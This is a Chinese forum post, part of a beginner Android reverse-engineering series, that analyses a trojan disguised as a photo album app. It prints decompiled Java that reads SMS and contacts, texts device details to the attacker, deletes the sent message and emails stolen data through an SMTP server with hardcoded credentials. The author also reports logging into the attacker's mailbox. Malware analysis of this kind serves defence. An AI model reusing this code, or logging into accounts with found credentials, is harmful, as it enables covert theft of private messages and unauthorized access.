資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 1412|回復: 1
打印 上一主題 下一主題

[安卓逆向破解] 零基礎(chǔ)安卓逆向?qū)W習之旅(五)安卓木馬分析

[復制鏈接]

8

主題

8

帖子

0

精華

新手上路

Rank: 1

資源幣
19
積分
16
貢獻
0
在線時間
2 小時
注冊時間
2020-2-20
最后登錄
2020-5-2
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2020-2-21 19:58:08 | 只看該作者 |只看大圖 回帖獎勵 |倒序瀏覽 |閱讀模式
零基礎(chǔ)安卓逆向?qū)W習之旅(五)安卓木馬分析
前言

    上期小狼跟大伙分享了如何利用APP漏洞,本期學習之旅先中斷一下,跟大伙兒分享一個木馬的分析,木馬呢是去年的一個木馬,木馬里面使用的技術(shù)不是最新的技術(shù)手段,估計木馬的編寫者估計水平有限呢。

0x01 正文

1、總體功能

    該木馬是偽裝在一個相冊 app 下, 主要偷取用戶的短信、通訊錄等個人隱私信息,然后再通過發(fā)送郵件的方式向掛馬者的郵箱傳送這些偷取到的個人數(shù)據(jù)。這個木馬的主要功能有以下幾個:

①  app 啟動時,先掛馬者的手機號碼發(fā)送用戶的設(shè)備 ID、 手機型號、系統(tǒng)版本等提示信息,用來提醒掛馬者有新中木馬的用戶,以便查看郵箱; 同時在短信發(fā)送完后,順便訪問短信數(shù)據(jù)庫,將發(fā)送的短信刪除。

② 讀取用戶短信 app 下的數(shù)據(jù)庫,獲取其中發(fā)信人號碼、 發(fā)信日期、短信內(nèi)容等私人信息。

③ 讀取用戶通訊錄 app 下的數(shù)據(jù)庫,讀取通訊錄中的姓名及與姓名對應(yīng)的電話、手機號碼。

④ 將上邊獲取的所有個人隱私信息轉(zhuǎn)換為郵件的格式,以便通過郵件向掛馬者

發(fā)送獲取到的數(shù)據(jù)。

⑤以掛馬者的郵箱賬號和密碼,調(diào)用手機上的 email 通信方式,將上邊轉(zhuǎn)換為

郵件格式的個人信息,發(fā)送到掛馬者的郵箱上。

⑥請求獲取管理員的權(quán)限, 使木馬更長久地存活。

總體流程圖:



2、過程分析

2.1 查看 AndroidManifest.xml, 了解木馬權(quán)限

    運 用 apktool 工 具 對 apk 文 件 進 行 反 編 譯 , 在 生 成 的AndroidManifest.xml 文件中可以查看到該 app 一共使用下邊的二十多個系統(tǒng)權(quán)限,其中包括讀取通訊錄信息、接收、讀取、修改、發(fā)送短信等涉及個人隱私信息的權(quán)限。

<uses-permission android:name="android.permission.INTERNET"/>

//獲取網(wǎng)絡(luò)套接字

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

//寫入外部存儲

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

//獲取網(wǎng)絡(luò)狀態(tài)

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

//獲取 WiFi 狀態(tài)

<uses-permission android:name="android.permission.WAKE_LOCK"/>

//允許使用 PowerManager 的 WakeLocks 保持進程在休眠時從屏幕消失

<uses-permission android:name="android.permission.VIBRATE"/>

//允許訪問振動器

<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>

//接收 WAP push 的信息

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

//獲取設(shè)備啟動時的廣播

<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>

//修改音頻設(shè)置

<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>

//獲取用戶啟動屏幕的廣播

<uses-permission android:name="android.permission.READ_CONTACTS"/>

//讀取通訊錄

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

//獲取通話狀態(tài)及電話號碼

<uses-permission android:name="android.permission.CALL_PHONE"/>

//初始化電話撥號不需通過撥號用戶界面讓用戶確認

<uses-permission android:name="android.permission.READ_SMS"/>

//讀取短信

<uses-permission android:name="android.permission.WRITE_SETTINGS"/>

//讀、寫用戶系統(tǒng)設(shè)置

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

//接收短信

<uses-permission android:name="android.permission.WRITE_SMS"/>

//編寫短信

<uses-permission android:name="android.permission.SEND_SMS"/>

//發(fā)送短信

2.2 獲取源碼,分析木馬機理

從 AndroidManifest.xml 文件可確定主活動:android:name="com.phone2.stop.activity.MainActivity"運用 dex2jar、 jd-gui 工具進行反編譯,獲取 app 的 java 源碼, 由主活動鎖定com 包中的 MainActivity.class,并定位到 onCreate()方法,其代碼如下






(1)配置、初始化 configuration_data 文件

    最先的可疑點是在對 j 類的調(diào)用,初始化后,便是對 j 類中 a/b/c/d/e 幾

個方法的調(diào)用,這幾個方法實現(xiàn)的功能是相似的,以 a 為例進行剖析,進入 a 方法, 代碼如下:

public static void a(Context paramContext)

{

if (com.phone.stop.db.a.a(paramContext).o()) {

return;

}

String str = h.a(com.phone.stop.db.a.a(paramContext).d());

com.phone.stop.db.a.a(paramContext).c(str);

com.phone.stop.db.a.a(paramContext).e(true);

}

    該方法都將 context 傳入 com.phone.stop.db.a.a 類,并對里邊的相關(guān)方法進行調(diào)用,先是對 o()方法的返回結(jié)果進行判斷,再進一步查看 o()代碼

public boolean o()

{

return this.b.getBoolean("have_init_phone_number", false);

}

b 定義為:

    this.b=paramContext.getSharedPreferences("configurations_data", 0);所 以 可 見 o() 方 法 是 讀 取 文 件 configuretions_data 中 鍵 值 為have_init_phone_number 所對應(yīng)的值,初始值是 false,便進行 d(), c(), e()三個方法的調(diào)用。

d():

public String d()

{

    return this.b.getString("a100", "135****6943");

}

獲取字符串,并通過 h.a()方法對其進行字節(jié)轉(zhuǎn)換

c():

public void c(String paramString)

{

    SharedPreferences.Editor localEditor = this.b.edit();

    localEditor.putString("a10", paramString);

    localEditor.commit();

}

c()方法是將上邊獲得的字符串編輯在 configurations_data 文件中再調(diào)用 e()將原本 have_init_phone_number 的值,改為 true。

public void e(boolean paramBoolean)

{

    SharedPreferences.Editor localEditor = this.b.edit();

    localEditor.putBoolean("have_init_phone_number", paramBoolean);

    localEditor.commit();

}

    這是 j 類中 a()所實現(xiàn)的配置,而其他幾個方法也是對 configurations_data文件進行鍵值對配置,可見,一開始對 j 類幾個的方法的調(diào)用,是先將有關(guān)數(shù)據(jù)存儲到 configurations_data 文件下,以便之后對內(nèi)容的讀取調(diào)用。

(2)獲取手機配置信息,向掛馬者發(fā)送提醒

    onCreate()方法接著的是對!a.a(this).r()的判斷,其代碼如下:

public boolean r()

{

    return this.b.getBoolean("has_send_phone_info", false);

}

    仍是對 configurations_data 文件的操作,獲取 has_send_phone_info 的值,起初為 false,執(zhí)行:

paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();

//獲取手機設(shè)備的 ID

f.a("軟件安裝完畢\n 識別碼" + paramBundle + "\n" + e.a(), this);

//獲取用戶手機配置信息,并通過短信向木馬作者的手機發(fā)送

a.a(this).h(true);

//將 configurations_data 文件的 has_send_phone_info 鍵值設(shè)置為 true

對 f.a("軟件安裝完畢\n 識別碼" + paramBundle + "\n" + e.a(), this);進行分析

e.a():

public static String a()

{

return "型號:" + a(Build.MODEL) + ";\n 手機" + a(Build.BRAND) +";\n 系統(tǒng)版本: " + a(Build.VERSION.RELEASE);

}

    由代碼可知 e.a()方法是調(diào)用 Build 來獲取用戶手機的型號、牌子、系統(tǒng)版本而 f.a()則是以獲得的這些信息來啟動新的線程,在該 Thread 類的 run()最后中執(zhí)行的是Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(localObject2, newObject[] { a.a(this.b).d(), null, localObject1, null, null });

    這里調(diào)用了 android.telephony.SmsManager 類的 sendTextMessage()方法來發(fā)送短信。 其中, localObject1 就是短信要發(fā)送的內(nèi)容,便是前邊獲取到的手機配置信息,而 a.a(this.b).d()相應(yīng)的代碼為:

public String d()

{

    return this.b.getString("a100", "135****6943");

}

    就是獲取一開始在 configurations_data 文件添加的鍵值對,從而通過該方法來獲取字符串"135****6943",這就是短信所要發(fā)送的目的手機,用來提醒作者新被掛馬的手機

(3)及時刪除剛發(fā)送的短信

    發(fā)送完短信后順便將短信刪除, 執(zhí)行 h.b(this); 該方法通過 ContentResolver來訪問SMS數(shù)據(jù)庫,通過查詢獲取剛發(fā)送的短信 id,并通過該 id 刪除短信:

ContentResolver localContentResolver;

Cursor localCursor;

if (!com.phone.stop.db.a.a(paramContext).p())

//獲取 configurations_data 的相關(guān)鍵值,判斷是否記錄刪除了短信

{

    localContentResolver = paramContext.getContentResolver();

    localCursor = localContentResolver.query(com.phone.stop.a.a.b,null, null, null, "date");

    // com.phone.stop.a.a.b 對應(yīng) content://sms/inbox

}

try

{

    if ((!com.phone.stop.db.a.a(paramContext).p()) && (localCursor.moveToNext()))

{

    int i = localCursor.getInt(localCursor.getColumnIndex("_id"));

   if (localContentResolver.delete(Uri.parse("content://sms/" +i), null, null) == 1)

{ //刪除短信

    com.phone.stop.db.a.a(paramContext).f(true); //修改鍵值

}

}

(4)執(zhí)行木馬核心部分,獲取、發(fā)送個人信息

onCreate()方法接著執(zhí)行的是

if (a.a(this).g()) {

    d.a(this);

}

仍通過獲取 configurations_data 文件中鍵值的判斷

public boolean g()

{

    return this.b.getBoolean("email_message_contacts_switch", true);

}

    這是判斷是否要進行對用戶短信、通訊錄的發(fā)送, true所以執(zhí)行 d.a(this),而這里的 a 方法是下圖所示的,啟動新線程,進行這個木馬最主要的任務(wù)






其中的后兩個 if 判斷,依然是通過 configurations_data 中相應(yīng)鍵值的判斷,第一次是判斷是否已經(jīng)發(fā)送用戶的短信信息,一開始當然是 false,進行用戶短信的獲取,并通過 email 向目標郵箱發(fā)送從用戶手機獲取到的短信。



分析上圖中的代碼可以知道其中的主要功能便是:獲取短信數(shù)據(jù)庫里的重要信息,將所獲取的信息進行郵件格式的轉(zhuǎn)換,最后將整理后的信息通過 email 發(fā)送到木馬作者的郵箱。

(5)短信獲取,并用 email 發(fā)送

    一開始是通過 localObject2 = i.a(paramContext);的調(diào)用將獲取到的信息傳給參數(shù) localObject2,查看 i.a 方法的調(diào)用,其主要代碼如下圖所示:




通過查詢 content URI(“content://sms”)下{ "_id", "address", "person","body", "date", "type", "thread_id"}這幾個名稱所對應(yīng)的信息,其中主要包括了發(fā)信人號碼,發(fā)信日期,短信的內(nèi)容。然后像上邊代碼所示的,通過遍歷對這些值進行一一獲取,并保存在一開始的 List 下( localArrayList = new ArrayList(); ), 最 后 將 localArrayList 返 回 , 其 返 回 值 便 傳 給 了localObject2,接著是對這些獲取到的信息進行整理:

Object localObject3 =(com.phone.stop.d.b)((Iterator)localObject2).next();

((StringBuffer)localObject1).append("<br><br><font color=red>----------------------" + ((com.phone.stop.d.b)localObject3).b + " " +((com.phone.stop.d.b)localObject3).c + "-------------</font><br>");

//這里便是一個發(fā)信人的標題,包括了號碼區(qū)號,之后的 c 是重要的號碼

localObject3 = ((com.phone.stop.d.b)localObject3).d.iterator();

//迭代器

while (((Iterator)localObject3).hasNext()) //短信遍歷

{

localObject4 =(com.phone.stop.d.a)((Iterator)localObject3).next();

if (((com.phone.stop.d.a)localObject4).e == 1) {

((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append(((com.phone.stop.d.a)localObject4).c).append("<br>");

} else {

((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append("<font color=blue>").append(((com.phone.stop.d.a)localObject4).c).append("</font>").append("<br>");

}

//上邊的 if 過程是對短信內(nèi)容的整理,通過判斷確定內(nèi)容以黑/藍顏色發(fā)送整理為 email 發(fā)送格式后,便是進行向作者郵箱發(fā)送信息的步驟了,主要部分如下:

localObject2 = locala.h();

//獲取郵箱登陸賬號 this.b.getString("a60", "135****6943@189.cn");

localObject3 = locala.j();

//獲取郵箱登陸密碼 this.b.getString("a80", "laojia88");

localObject4 = locala.i();

//獲取目標郵箱 this.b.getString("a70", "135****6943@189.cn");

b localb = new b(); //建立起手機的 email 協(xié)議

localb.a("smtp.189.cn", "465"); //189 郵箱

localb.a((String)localObject2, "(IMEI)" + paramContext + "【短信記錄】", (String)localObject1);

//這里便是添加郵件發(fā)信人,郵件主題,郵件內(nèi)容

localb.a(new String[] { localObject4 });

//添加收信人

localb.b("smtp.189.cn", (String)localObject2, (String)localObject3);

//本地郵箱登陸

locala.j(true);

//給 configurations_data 的鍵值作標記, ”has_send_message“ =true,短信郵件已發(fā)送。

(6)繼續(xù)獲取通訊錄, 再次用 email

發(fā)送發(fā)送完用戶的短信信息,之后便是通訊錄的發(fā)送了,主要代碼如圖




其大部分原理都跟上邊發(fā)送短信的相同,獲取通訊錄數(shù)據(jù),將數(shù)據(jù)整理為email 發(fā)送格式,向目標郵箱發(fā)送數(shù)據(jù),其中對通訊錄數(shù)據(jù)庫的獲取如下


通過查詢通訊錄 content URI,然后獲取"_id", "display_name"名稱,遍歷數(shù)據(jù)庫里所有的通訊人信息,包括對一人對應(yīng)多個號碼的一一獲取,最后將獲取到的人名及對應(yīng)的所有號碼,添加到 List( localArrayList)里,將結(jié)果返回。接著便是對返回結(jié)果進行整理,將整個通訊信息發(fā)送給目標郵箱,過程跟上邊短信的相同。

(7)進一步提權(quán)

再獲取、發(fā)送完這些信息之后,還有對這個進行申請管理員權(quán)限的操作,便是執(zhí)行了 a()方法其代碼如下圖




主要就是向"android.app.action.ADD_DEVICE_ADMIN"發(fā)送提權(quán)申請,這時用戶手機上管理權(quán)限程序就會彈出該 app 的提權(quán)申請確認 activity,當用戶不小心同意了該提權(quán)申請時,該木馬便可獲得管理權(quán)限,這將更有利于木馬的生存,不易被查殺、刪除。

(8)登錄掛馬者郵箱,查看木馬狀態(tài)

在上邊分析中可以獲得木馬作者的郵箱賬號及密碼,嘗試登陸查看該木馬近期的狀態(tài),如下圖,可見該木馬還在繼續(xù)活躍傳播。









回復

使用道具 舉報

2

主題

302

帖子

0

精華

終身高級VIP會員

Rank: 7Rank: 7Rank: 7

資源幣
4
積分
309
貢獻
0
在線時間
37 小時
注冊時間
2020-8-14
最后登錄
2023-2-6

終身VIP會員

沙發(fā)
發(fā)表于 2020-9-19 08:49:56 | 只看該作者
祝資源共享吧越來越火!
回復 支持 反對

使用道具 舉報

 點擊右側(cè)快捷回復  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2024-12-22 16:47 , Processed in 0.053090 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復 返回頂部 返回列表